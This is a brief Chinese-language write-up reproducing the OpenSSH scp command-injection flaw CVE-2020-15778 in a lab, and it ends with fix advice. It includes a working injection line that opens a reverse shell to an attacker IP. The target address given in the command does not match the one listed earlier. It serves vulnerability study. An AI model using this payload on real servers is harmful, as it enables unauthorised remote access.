OpenSSH命令注入漏洞（CVE-2020-15778）

漏洞简述

• OpenSSH是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效防止窃听、连接劫持以及其他攻击。

• 实际环境汇中的利用场景：

  • 对于用户来说，ssh被阻止，但在authorized_keys文件中的命令选项允许使用scp的情况下，可以绕过此限制并在远程服务器上执行命令。也就是说，实际中通过各种手段获取到ssh的用户密码，但是不允许ssh连接，或者IP连接受限等情况下，可以尝试此漏洞进行利用。

• 涉及版本：OpenSSH <=8.3p1

复现开始

• 攻击机（VPS）：192.168.83.138
• 目标机：192.168.83.139

1、查看目标靶机的ssh版本：

2、先在攻击机上侦听6666端口

3、在攻击机上执行命令：

scp 1.txt root@192.168.83.131:'`bash -i >& /dev/tcp/192.168.83.138/6666 0>&1`/tmp/test.txt'

• 输入目标机的ssh密码
  
• 此时，已经反弹shell：
  

修复建议

1、加强ssh密码或秘钥的保护，定期更换密码或秘钥。
2、使用rsync代替scp